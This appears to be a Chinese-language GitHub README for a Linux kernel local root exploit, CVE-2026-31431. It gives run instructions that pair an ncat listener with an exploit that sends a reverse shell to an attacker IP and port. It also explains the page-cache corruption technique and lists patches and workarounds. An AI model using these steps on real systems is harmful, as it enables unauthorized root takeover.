M4xSec/CVE-2026-31431-RCE-Exploit
GitHub: M4xSec/CVE-2026-31431-RCE-Exploit
针对 Linux 内核 algif_aead 加密子系统逻辑缺陷的本地提权漏洞利用工具,可向任意可读文件的页缓存写入可控字节从而在数秒内获取 root 权限。
Stars: 2 | Forks: 1
# 🔴 CVE-2026-31431 — "复制失败"
### 一个导致数秒内获取 Root 权限的 9 年前 Linux 内核逻辑漏洞
[](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
[](#)
[](#affected-versions)
[](#timeline)
## 概述
**Copy Fail** 是 Linux 内核加密子系统(`algif_aead`)中的一个高危本地提权(LPE)漏洞。该漏洞由 **Theori**(通过其 **Xint Code** AI 辅助漏洞研究工具)于 **2026 年 4 月 29 日**发现并披露。该缺陷允许任何无特权的本地用户向任何可读文件的页缓存中写入 4 个可控字节——并利用这一点在自 2017 年以来发布的几乎所有主要 Linux 发行版上获取 **root** 权限。
一个有效的概念验证(PoC) exploit 仅有约 **732 字节的 Python** 代码。
## 漏洞利用
1. 启动 Ncat 监听器
```
sudo ncat -lvnp PORT
```
2. 在目标机器上执行 exploit
```
# 使用 Python 脚本
python3 CVE-2026-31431-Exploit.py IP PORT
# 编译的二进制文件
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT
```
## 🧬 技术摘要
| 字段 | 详情 |
|---|---|
| **CVE ID** | CVE-2026-31431 |
| **CVSS 评分** | 7.8 (HIGH) |
| **类型** | 本地提权 (LPE) |
| **组件** | `algif_aead` — Linux 内核 AF_ALG 用户态加密接口 |
| **根本原因** | `authencesn` AEAD 模板中的逻辑缺陷;一个就地优化(commit `72548b093ee3`,2017 年 8 月)导致页缓存页面出现在内核的可写目标 scatterlist 中 |
| **原语** | 向任何可读文件的页缓存中进行 4 字节可控写入 |
| **漏洞利用机制** | AF_ALG socket → `splice()` → setuid 二进制文件的页缓存损坏 → root |
| **存在竞态条件?** | ❌ 无 — 直线逻辑缺陷,100% 可靠 |
| **需要内核偏移量?** | ❌ 不需要 |
| **修复提交** | `fafe0fa2995a`(回退了 2017 年的优化) |
### 漏洞利用原理(4 步)
1. **打开**一个 `AF_ALG` socket 并绑定到 `authencesn(hmac(sha256),cbc(aes))`
2. **拼接** 一个可读的 setuid 二进制文件的页面到该 socket
3. 内核的 AEAD 临时写入覆盖了该二进制文件页缓存中的 **4 个字节**
4. **执行** 现已损坏的 setuid 二进制文件 → **获取 root shell**
### 为什么它很危险
- **没有竞态窗口** — 确定性的,每次都有效
- **不需要内核偏移量 / 绕过 KASLR**
- **同一个 exploit 可跨发行版使用** — Ubuntu、RHEL、Amazon Linux、SUSE、Rocky 等
- **容器逃逸** — 页缓存是共享的;从容器内部进行的写入会影响宿主机
- **不修改磁盘** — 文件完整性监控工具(AIDE、OSSEC 等)无法检测到它
- **磁盘上没有取证痕迹**
## 🎯 受影响的版本
| 受影响 | 不受影响 |
|---|---|
| Linux 内核 **4.14** 到 **7.0-rc** | 4.14 之前的内核(2017 年 8 月提交之前) |
| **6.18.22** 之前的所有 **6.18.x** 版本 | **6.18.22+**(已修补) |
| **6.19.12** 之前的所有 **6.19.x** 版本 | **6.19.12+**(已修补) |
### 已确认受影响的发行版
- Ubuntu 24.04 LTS
- Amazon Linux 2023
- RHEL 10.1
- SUSE 16
- Rocky Linux 9.7
## 🛡️ 缓解措施
### 1. 打补丁(推荐)
将您的内核更新为包含修复提交 `fafe0fa2995a` 的版本。大多数主要发行版已经发布或正在发布更新的内核包。
### 2. 临时解决方法
如果您无法立即打补丁:
- 通过 seccomp 策略**阻止创建 AF_ALG socket**
- **将 `algif_aead` 模块加入黑名单:**
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
## ⚠️ 免责声明
本仓库**仅用于教育和防御目的**。此处的信息旨在帮助安全团队理解、检测和缓解 CVE-2026-31431。请始终遵循负责任的漏洞披露实践和适用法律。
### ⭐ Star 本仓库,随时获取有关补丁和检测指南的最新信息。
标签:0day, AF_ALG, algif_aead, Copy Fail, CVE-2026-31431, CVSS 7.8, Exploit, Linux内核漏洞, LPE, Ncat, PoC, RCE, Root提权, Web报告查看器, 任意文件写, 反向Shell, 子域名枚举, 安全渗透, 密码学子系统, 底层安全, 提权漏洞, 攻击路径可视化, 暴力破解, 本地提权, 系统安全, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞, 页面缓存, 黑客工具